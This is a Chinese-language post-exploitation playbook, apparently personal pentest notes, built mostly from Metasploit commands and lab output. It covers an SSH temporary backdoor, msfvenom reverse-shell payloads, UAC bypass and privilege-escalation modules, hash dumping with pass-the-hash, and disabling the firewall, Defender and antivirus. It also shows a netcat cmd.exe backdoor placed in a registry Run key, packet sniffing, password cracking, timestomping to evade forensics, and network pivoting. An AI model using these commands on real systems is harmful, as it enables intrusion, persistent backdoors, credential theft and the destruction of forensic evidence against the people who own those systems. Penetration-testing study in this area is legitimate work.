学习参考： 
http://weibo.com/1869235073/B9Seswf9R?type=comment 
http://weibo.com/p/1001603723521007220513 
http://www.sohu.com/a/126011736_505860

linux 常用shell反弹方法小结： 
https://edu.aqniu.com/group/3/thread/22



1. SSH渗透技巧

1.1 ssh 临时后门

入侵得到SHELL后，对方防火墙没限制，想快速开放一个可以访问的SSH端口肉鸡上执行

myles@localhost:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

就会派生一个31337端口，然后连接31337，用root/bin/ftp/mail当用户名，密码随意，就可登陆。效果图：



1.2 如何杀死ssh临时后门

临时后门生成后，如果我们需要杀死这个进程，请使用以下语句。



myles@localhost# ps -ef |grep 31337  #查询后门进程ID
myles@localhost# kill -9 ssh_pid      #使用kill -9 直接杀死进程

Meterpreter后渗透测试
特征
Meterpreter 是 Metasploit 框架中的一个扩展模块，作为溢出成功以后的攻击载荷使用，攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个 meterpreter shell 的链接。Meterpreter shell 作为渗透模块有很多有用的功能，比如添加一个用户、隐藏一些东西、打开 shell、得到用户密码、上传下载远程主机的文件、运行 cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和 IP 地址等信息。另外 Meterpreter 能够躲避入侵检测系统。在远程主机上隐藏自己，它不改变系统硬盘中的文件，因此 HIDS（基于主机的入侵检测系统）很难对它做出响应。此外它在运行的时候系统时间是变化的，所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后，Meterpreter 还可以简化任务创建多个会话，可以来利用这些会话进行渗透。
Meterpreter工作优点
1、不创建进程（使用的内存注入方式）

2、Meterpreter 是一个解释器加载各种攻击命令

3、工作在被攻击进程的上下文中

4、通信是加密的（TLV协议），可以躲避 IDS

5、没有硬盘写入操作

6、使用的通信方式是信道模式，可以同时和几个信道工作，支持多信道

7、支持扩展编写
Meterpreter工作过程
1、漏洞的利用代码+第一阶段的攻击载荷

2、攻击载荷反向连接到 msf

3、发送第二阶段的攻击载荷

4、客户端和服务器进行通信
常用的系统命令
background，把当前的会话设置为背景，需要的时候在启用

getuid，查看对方正在运行的用户

ps，列出所有的进程

getpid，返回运行 meterpreter 的 id 号

sysinfo，产看系统信息和体系结构

shell，切换到 cmd 的系统权限方式

exit，退出 shell 会话返回 meterpreter 或终止 meterpreter
进程迁移和提权
getsystem：会自动利用各种各样的系统漏洞来进行权限提升

migrate：进程 id 进程迁移
和目标建立多重通信的信道
excute，用来启用多重通信信道

excute-fexploit.exe-c

channel-l，列出可用通信信道

interact，和信道进行交互（获得cmd）

write3，向信道写入数据，以‘.’结束
常用的文件系统的命令
pwd，查看当前所在的工作目录

cd，切换到想要的工作目录

search-f*.dof-dc:\，搜索文件

download，支持文件下载

download c:\a.doc /root，下载到本地的root目录

upload /root/mm.exe  c:\sys.exe，上传到远程主机

timestomp，更改文件属性

timestompc:/a.doc-v，查看文件的时间信息。

timestompc:/a.doc-c"9/23/201314:22:11"，修改文件的创建时间

-m，-a，文件的修改时间和最后一次访问的时间。

-z，修改所有时间，尽量不要用。

-v，查看
常用的网络命令
ipconfig，查看ip配置

route，显示路由表，也可以配置ip地址，和linux方法一样

routeaddip，地址掩码网关

portfwd，做端口转发的时候用的

portfwd-a-L127.0.0.1-l888-h7.6.5.4-p5631

-a，添加一个新的转发规则

-L，目标主机的IP地址

链接127.0.0.1的888端口，会被转发到7.6.5.4的5631端口

enumdesktops，是列出所有可访问的桌面

getdesktop，返回用户的桌面

setdesktop，设置到某个会话的桌面

keyscan_start，安装键盘窃听器

keyscan_dump，导出活跃桌面的键盘记录

关于windows的桌面的编号0控制台12其他会话或远程登陆。
Meterpreter脚本
使用runscriptname方式执行
1、vnc脚本,获取远程机器vnc界面控制

meterpreter>runvnc

meterpreter>runscreen_unlock
2、进程迁移

当攻击成功后将连接进程从不稳定进程（如使用浏览器溢出漏洞exp进行攻击时浏览器

可能会被目标关闭）迁移至稳定进程(explorer.exe)，保持可连接。

例子：

meterpreter>runpost/windows/manage/migrate

（在64位win7中migrate需要管理员权限执行后门才能成功，而migrate前后获取的

权限是有差异的。）
3、关闭杀毒软件

meterpreter>runkillav（这个脚本要小心使用，可能导致目标机器蓝屏死机。）
4、获取系统密码hash

meterpreter>runhashdump

（64位win7下需要管理员权限执行后门且先getsystem，然后使用

runpost/windows/gather/hashdump来dumphash成功率更高。

而且如果要使用shell添加系统账户的话win7下得先：

runpost/windows/escalate/bypassuac，不然可能不会成功。）
5、获取系统流量数据

meterpreter>runpacktrecorder–i1
6、直捣黄龙

可以干很多事情：获取密码，下载注册表，获取系统信息等

meterpreter>runscraper
7、持久保持

当目标机器重启之后仍然可以控制

meterpreter>runpersistence–X–i50–p443–r192.168.1.111

-X开机启动-i连接超时时间–p端口–rIP

下次连接时：

msf>usemulti/handler

setpayloadwindows/meterpreter/reverse_tcp

setLPOST443

setLHOST192.168.1.111

exploit

(会在以下位置和注册表以随机文件名写入文件等信息，如：

C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs

C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
基本命令
Meterpreter > backgroud

Msf exploit (ms_067_netapi) > sessions

Msf exploit (ms_067_netapi) > sessions  -i  1

Meterpreter > quit

Meterpreter > shell
文件系统

Meterpreter >cat c:\boot.ini

Meterpreter >getwd

Meterpreter >upload -h

Meterpreter >upload  netcat.exe c:

Meterpreter >download C:\“program Files”\Tencent\QQ\User\13456\Msg2.0.db  /etc

用QQlogger打开

Meterpreter >edit c:\windows\system32\drivers\etc\hosts

Meterpreter >search -h
网络命令

Meterpreter >ipconfig

Meterpreter >portfwd -h

Meterpreter >route
系统命令

Meterpreter >ps

Meterpreter >migrate

Meterpreter >execute

Meterpreter >sysinfo

Meterpreter >info

			

				Mestasploit 后渗透测试阶段
			
	
	

		

                
1. 获得普通账号权限


	
已经获得目标系统控制权后扩大战果

	
提权
		
信息收集
		
渗透内网
		
永久后门
	
	

	
基于已有 session 扩大战果

	

		
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.6.128 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -f exe -o payload.exe
		
	
	

	
开启Apache传输payload
	
root@kali:~# /etc/init.d/apache2 start 
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@kali:~# cp payload.exe /var/www/html/


 


	
kali 监听4444端口

	
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.6.128
msf exploit(multi/handler) > exploit -j

	
	

	
windows 系统执行 payload.exe
	
	

	
kali 进入 metepreter

	
msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.6.128:4444 
[*] Sending stage (179779 bytes) to 192.168.6.129
[*] Meterpreter session 1 opened (192.168.6.128:4444 -> 192.168.6.129:49161) at 2018-09-01 18:10:29 +0800

meterpreter > getuid 
Server username: vv-PC\vv


	
2. 获取 system 账号权限


	
提权失败，一般是由于 UAC 限制

	
meterpreter > getuid
Server username: WIN7-VM\John
meterpreter > load priv
[-] The 'priv' extension has already been loaded.
meterpreter > getsystem 
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)


meterpreter > background

	
	

	
绕过 UAC 限制

	

		
use exploit/windows/local/ask

		
msf exploit(multi/handler) > use exploit/windows/local/ask
msf exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/ask) > set lhost 192.168.6.128
lhost => 192.168.6.128
msf exploit(windows/local/ask) > set filename win_updata.exe
filename => win_updata.exe
msf exploit(windows/local/ask) > set session 1
session => 1
msf exploit(windows/local/ask) > options 

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME   win_updata.exe   no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    1                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.6.128    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows


		


		
通过getsystem获取管理员权限

		
msf exploit(windows/local/ask) > exploit 

[*] Started reverse TCP handler on 192.168.6.128:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading win_updata.exe - 73802 bytes to the filesystem...
[*] Executing Command!
[*] Sending stage (179779 bytes) to 192.168.6.129
[*] Meterpreter session 2 opened (192.168.6.128:4444 -> 192.168.6.129:49162) at 2018-09-01 18:15:00 +0800

meterpreter > getuid 
Server username: vv-PC\vv
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM


		
 
		
		

		
use exploit/windows/local/bypassuac

		
msf exploit(windows/local/ask) > use exploit/windows/local/bypassuac
msf exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac) > set session 1
session => 1
msf exploit(windows/local/bypassuac) > set lhost  192.168.6.128
lhost => 192.168.6.128
msf exploit(windows/local/bypassuac) > show options 

Module options (exploit/windows/local/bypassuac):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   SESSION    1                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use if UAC is turned off (Accepted: PSH, EXE)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.6.128    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86


		
msf exploit(windows/local/bypassuac) > exploit 

[*] Started reverse TCP handler on 192.168.6.128:4444 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (179779 bytes) to 192.168.6.129
[*] Meterpreter session 3 opened (192.168.6.128:4444 -> 192.168.6.129:49165) at 2018-09-01 18:21:37 +0800

meterpreter > getuid 
Server username: vv-PC\vv
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM


		
 
		
		

		
use exploit/windows/local/bypassuac_injection

		
msf exploit(windows/local/bypassuac_injection) > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac_injection) > set session 1
session => 1
msf exploit(windows/local/bypassuac_injection) > set lhost 192.168.6.128
lhost => 192.168.6.128
msf exploit(windows/local/bypassuac_injection) > options 

Module options (exploit/windows/local/bypassuac_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.6.128    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86


		
msf exploit(windows/local/bypassuac_injection) > exploit 

[*] Started reverse TCP handler on 192.168.6.130:4444 
[+] Windows 7 (Build 7601, Service Pack 1). may be vulnerable.
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject into...
[+] Successfully injected payload in to process: 3236
[*] Sending stage (179779 bytes) to 192.168.6.154
[*] Meterpreter session 2 opened (192.168.6.130:4444 -> 192.168.6.154:49175) at 2018-09-01 20:57:42 +0800

meterpreter > getuid 
Server username: vv-PC\vv
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM



		
 
		
	
	

	
利用漏洞直接提权为 system

	

		
use exploit/windows/local/ms13_053_schlamperei（未成功）

		
use exploit/windows/local/ms13_053_schlamperei
set SESSION 1


		

		
		

		
use exploit/windows/local/ms13_081_track_popup_menu（使目标重启，DOS攻击）

		
use exploit/windows/local/ms13_081_track_popup_menu
set SESSION 1
exploit


		

		
		

		
use exploit/windows/local/ms13_097_ie_registry_symlink

		
use exploit/windows/local/ms13_097_ie_registry_symlink
set SESSION 1
set URIPATH /
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
set SRVHOST 10.0.0.128
exploit

		
		

		
use exploit/windows/local/ppr_flatten_rec

		
use exploit/windows/local/ppr_flatten_rec
set SESSION 1
exploit


		

		
	
	

	
图形化 payload

	

		
set payload windows/vncinject/reverse_tcp

		
use exploit/windows/local/ppr_flatten_rec
set payload windows/vncinject/reverse_tcp
set SESSION 1
set LHOST 10.0.0.128
set ViewOnly false
exploit


		

		
	
 


	
关闭 UAC 功能

	

		
获取 hashdump

		
meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    John:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

		
		

		
尝试利用

		
use exploit/windows/smb/psexec
set RHOST 10.0.0.132
set SMBUser John
set SMBPass  aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
exploit


		


		
报错：Exploit failed [no-access]
		
		

		
需要提前关闭 UAC

		
sessions -i 2
shell
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
shutdown -r -t 0


		

		
		

		
再次利用

		
use exploit/windows/smb/psexec
set RHOST 10.0.0.132
set SMBUser John
set SMBPass  aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
exploit

		
	
4. 基础操作

1. 关闭防火墙


	
需要管理员或system权限

	
netsh advfirewall set allprofiles state on
netsh advfirewall set allprofiles state off


	

	
2. 关闭 windefend


	
查看服务名称

	

	
	

	
关闭防火墙

	
net stop windefend

	
3. bitlocker 加密

manage-bde -off C:
	
manage-bde -status C:
4. 关闭 DEP

bcdedit.exe /set {current} nx AlwaysOff
5 杀死防病毒软件

run killav
	
run post/windows/manage/killav
6. 开启远程桌面服务

# 开启服务
run post/windows/manage/enable_rdp




# 关闭服务
run multi_console_command -rc root/.msf4/loot/20180418001805_default_10.0.0.132_host.windows.cle_842354.txt

# 开启服务
run getgui –e
run getgui -u yuanfh -p pass
run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160824.1855.rc


7. 查看远程桌面

screenshot
	
use espia
	
screengrab
	
5. 使用 tokens 攻击域控制器

-tokens

- 用户每次登录，账号绑定临时的tokens

- 访问资源时提交 tokens 进行身份验证，类似于 web cookies

- delegate tokens：交互登录会话

- impersonate tokens：非交互登录会话

- delegate tokens 账号注销后变为 Impersonate Token，权限依然有效


	
Incognito

	
独立功能的软件，被 msf 集成在 metepreter 中
		
无需密码或破解或获取密码 hash，窃取 tokens 将自己伪装成其他用户
		
尤其适用于域环境下提权渗透多操作系统
	
	

	
搭建域环境

	
DC + XP
	
	

	
load incognito

	
list_tokens -u
		
impersonate_token lab\administrator
		
运行以上命令需要 getsystem
		
本地普通权限用户需要先本地权限
			
use exploit/windows/local/ms10_015_kitrap0d
			
execute -f cmd.exe -i -t # -t：使用当前假冒tokens执行程序
			
shell
		
	
8. 注册表


	
注册表保存着 windows 几乎全部配置参数

	
如果修改不当，可直接造成系统崩溃
		
修改前完整备份注册表
		
某些注册表的修改是不可逆的
	
	

	
常见用途

	
修改、增加启动项
		
窃取存储于注册表中的机密信息
		
绕过文件型病毒查杀
	
	

	
用注册表添加 nc 后门服务（metepreter）
	
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\windows\system32
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\windows\system32\nc.exe
meterpreter > reg 
Usage: reg [command] [options]

Interact with the target machine's registry.

OPTIONS:

    -d <opt>  The data to store in the registry value.
    -h        Help menu.
    -k <opt>  The registry key path (E.g. HKLM\Software\Foo).
    -r <opt>  The remote machine name to connect to (with current process credentials
    -t <opt>  The registry value type (E.g. REG_SZ).
    -v <opt>  The registry value name (E.g. Stuff).
    -w        Set KEY_WOW64 flag, valid values [32|64].
COMMANDS:

    enumkey	Enumerate the supplied registry key [-k <key>]
    createkey	Create the supplied registry key  [-k <key>]
    deletekey	Delete the supplied registry key  [-k <key>]
    queryclass Queries the class of the supplied key [-k <key>]
    setval	Set a registry value [-k <key> -v <val> -d <data>]
    deleteval	Delete the supplied registry value [-k <key> -v <val>]
    queryval	Queries the data contents of a value [-k <key> -v <val>]


meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values (1):

	VMware                    #查看开机启动的进程

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'    #创建副键
Successfully set nc of REG_SZ.
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe

 


	
打开防火墙端口（metepreter）
	

meterpreter > execute -f cmd -i -H
Process 2276 created.
Channel 5 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\vv\Desktop>netsh firewall show opmode      查看防火墙状态
netsh firewall show opmode

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Disable
Exception mode                    = Enable

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at http://go.microsoft.com/fwlink/?linkid=121488 .



C:\Users\vv\Desktop>netsh firewall add portopening TCP 444 "test" ENABLE ALL
netsh firewall add portopening TCP 444 "test" ENABLE ALL     #添加防火墙规则

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at http://go.microsoft.com/fwlink/?linkid=121488 .

Ok.


C:\Users\vv\Desktop>shutdown -r -f -t 0                  #重启目标主机生效







最后使用nc连接目标主机
	

	
其他注册表项

	
https://support.accessdata.com/hc/en-us/articles/204448155-Registry-Quick-Find-Chart
	
9. 抓包

抓包（metepreter）
	
load sniffer
		
sniffer_interfaces
		
sniffer_start 2
		
sniffer_dump 2 1.cap / sniffer_dump 2 1.cap
		
在内存中缓冲区块循环存储抓包（50000包），不写硬盘
		
智能过滤 metepreter 流量，传输全称使用 SSL/TLS 加密
	
meterpreter > load sniffer 
Loading extension sniffer...Success.
meterpreter > help 
Sniffer Commands
================

    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data to PCAP file
    sniffer_interfaces  Enumerate all sniffable network interfaces
    sniffer_release     Free captured packets on a specific interface instead of downloading them
    sniffer_start       Start packet capture on a specific interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet capture on a specific interface

meterpreter > sniffer_interfaces 

1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
  
meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 1.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 164 packets (20244 bytes)
[*] Downloaded 100% (20244/20244)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to 1.cap
meterpreter > sniffer_dump 2 2.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 686 packets (182326 bytes)
[*] Downloaded 100% (182326/182326)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to 2.cap


 

解码
	
use auxiliary/sniffer/psnuffle
		
set PCAPFILE /root/1.cap
	
meterpreter > background 
[*] Backgrounding session 1...
msf exploit(multi/handler) > use auxiliary/sniffer/psnuffle 
msf auxiliary(sniffer/psnuffle) > options 

Module options (auxiliary/sniffer/psnuffle):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILTER                      no        The filter string for capturing traffic
   INTERFACE                   no        The name of the interface
   PCAPFILE                    no        The name of the PCAP capture file to process
   PROTOCOLS  all              yes       A comma-delimited list of protocols to sniff or "all".
   SNAPLEN    65535            yes       The number of bytes to capture
   TIMEOUT    500              yes       The number of seconds to wait for new data


Auxiliary action:

   Name     Description
   ----     -----------
   Sniffer  

msf auxiliary(sniffer/psnuffle) > set pcapfile 2.cap
pcapfile => 2.cap
msf auxiliary(sniffer/psnuffle) > exploit 
[*] Auxiliary module running as background job 0.
msf auxiliary(sniffer/psnuffle) > 
[*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...
[*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...
[*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
[*] Loaded protocol SMB from /usr/share/metasploit-framework/data/exploits/psnuffle/smb.rb...
[*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
[*] Sniffing traffic.....
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/favicon.ico
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/dvwa/
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/dvwa/login.php
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/dvwa/dvwa/css/login.css
[*] HTTP GET: 192.168.6.134:49162-192.168.6.1:80 http://192.168.6.1/dvwa/dvwa/images/login_logo.png
[*] HTTP GET: 192.168.6.134:49161-192.168.6.1:80 http://192.168.6.1/favicon.ico
[*] HTTP GET: 192.168.6.134:49163-192.168.6.1:80 http://192.168.6.1/sqllib/
[*] HTTP GET: 192.168.6.134:49163-192.168.6.1:80 http://192.168.6.1/sqllib/index.html_files/freemind2html.css
[*] HTTP GET: 192.168.6.134:49164-192.168.6.1:80 http://192.168.6.1/sqllib/index.html_files/freemind2html.js
[*] HTTP GET: 192.168.6.134:49163-192.168.6.1:80 http://192.168.6.1/sqllib/index.html_files/image.png
[*] HTTP GET: 192.168.6.134:49164-192.168.6.1:80 http://192.168.6.1/sqllib/sql-connections/setup-db.php
[*] Finished sniffing
Interrupt: use the 'exit' command to quit


 

10. 搜索文件

search -f *.ini
	
search -d c:\documents\ and\ settings\administrator\desktop\ -f *.docx
11. 破解弱口令

John the Ripper 破解弱口令
– use post/windows/gather/hashdump # system 权限的 metepreter

- run # 结果保存在 /tmp 目录下

- use auxiliary/analyze/jtr_crack_fast

- run

meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 1...
msf auxiliary(sniffer/psnuffle) > use post/windows/gather/hashdump 
msf post(windows/gather/hashdump) > set session 1
session => 1
msf post(windows/gather/hashdump) > exploit 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d547a11a1d5b60bbae251d356e192de0...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

vv:"vv"

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vv:1000:aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063716ab7fe2a11faf126d8:::


[*] Post module execution completed
msf post(windows/gather/hashdump) > use auxiliary/analyze/jtr_crack_fast 

msf auxiliary(analyze/jtr_crack_fast) > exploit 

[*] Cracking nt hashes in incremental mode (Digits)...
[*] Loaded 2 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
[*] Remaining 1 password hash
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:04 DONE (Mon Sep  3 21:50:07 2018) 0g/s 23052Kp/s 23052Kc/s 23052KC/s 73673953..73673952
Session completed
[*] Cracked Passwords this run:
[+] vv:vv:1:1
[+] vv:vv:4:4
[+] vv:vv:1:1
[+] vv:vv:4:4
[*] Auxiliary module execution completed


12. 擦除痕迹

文件系统访问会留下痕迹。电子取证重点关注
	
渗透测试和攻击者往往希望销毁文件系统访问痕迹
	

	
最好的避免被电子取证发现的方法：不要碰文件系统

	
metepreter 的先天优势所在（完全基于内存）
	
	

	
MAC 时间 （Modified / Accessed / Changed）

	
ls -l –time=atime/mtime/ctime 1.txt
		
stat 1.txt
		
touch -d “2 days ago” 1.txt
		
touch -t 1501010101 1.txt
	
	

	
MACE：MFT entry

	
MFT：NTFS 文件系统的主文件分配表 Master File Table
		
通常 1024 字节或2个硬盘扇区，其中存放多项 entry 信息
		
包含文件大量信息（大小 名称 目录位置 磁盘位置 创建日期）
		
更多信息可研究文件系统取证分析技术
	
	

	
Timestomp (meterpreter)

	
timestomp -v 1.txt
		
timestomp -f c:\autoexec.bat 1.txt

		-b -r # 擦除 MACE 时间信息，目前此参数功能失效
		
-m / -a / -c / -e / -z
	
meterpreter > timestomp -v 1.txt
[*] Showing MACE attributes for 1.txt
Modified      : 2018-09-04 10:58:47 +0800
Accessed      : 2018-09-04 10:58:37 +0800
Created       : 2018-09-04 10:58:37 +0800
Entry Modified: 2018-09-04 10:58:47 +0800
meterpreter > timestomp -m "03/11/2019 22:22:22" 1.txt
[*] Setting specific MACE attributes on 1.txt
meterpreter > timestomp -v 1.txt
[*] Showing MACE attributes for 1.txt
Modified      : 2019-03-11 22:22:22 +0800
Accessed      : 2018-09-04 10:58:37 +0800
Created       : 2018-09-04 10:58:37 +0800
Entry Modified: 2018-09-04 10:58:47 +0800


 

timestomp -z “MM/DD/YYYY HH24:MI:SS” 2.txt

meterpreter > timestomp -v 1.txt
[*] Showing MACE attributes for 1.txt
Modified      : 2018-09-04 10:58:47 +0800
Accessed      : 2018-09-04 10:58:37 +0800
Created       : 2018-09-04 10:58:37 +0800
Entry Modified: 2018-09-04 10:58:47 +0800

meterpreter > timestomp -z "03/11/2019 22:22:22" 1.txt
[*] Setting specific MACE attributes on 1.txt
meterpreter > timestomp -v 1.txt
[*] Showing MACE attributes for 1.txt
Modified      : 2019-03-11 22:22:22 +0800
Accessed      : 2019-03-11 22:22:22 +0800
Created       : 2019-03-11 22:22:22 +0800
Entry Modified: 2019-03-11 22:22:22 +0800


 

13. pivoting 跳板 / 枢纽/支点

msfvenom 制作 payload

	msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=kali_firewall LPORT=4444 -b “\x00\xff” -e x86/shikata_ga_nai -f exe -o payload.exe
	

	
获取 system 权限

	
	

	
KALI:1.1.1.10
	
	

	
MONO1:  EM1: 1.1.1.1   EM2: 192.168.155.8
	
	

	
MONO2:  EM1: 2.1.1.1   EM2: 192.168.155.9
	
	

	
WIN7: 2.1.1.10
	
	

	
XP:  2.1.1.11
	
 


	
利用已经控制的一台计算机作为入侵内网的跳板
	
	
在其他内网计算机看来访问全部来自于跳板
	

	
run autoroute -s 2.1.1.0/24 # 不能访问外网的被攻击目标内网网段
	
	

	
meterpreter > run autoroute -s 2.1.1.0/24
[*] Adding a route to 2.1.1.0/255.255.255.0...
[+] Added route to 2.1.1.0/255.255.255.0 via 192.168.155.9
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   2.1.1.0            255.255.255.0      Session 1


	
 
	
	

	
自动路由现实场景

	
利用 win7 攻击内网 XP（对比 xp 有无外网访问权的情况）

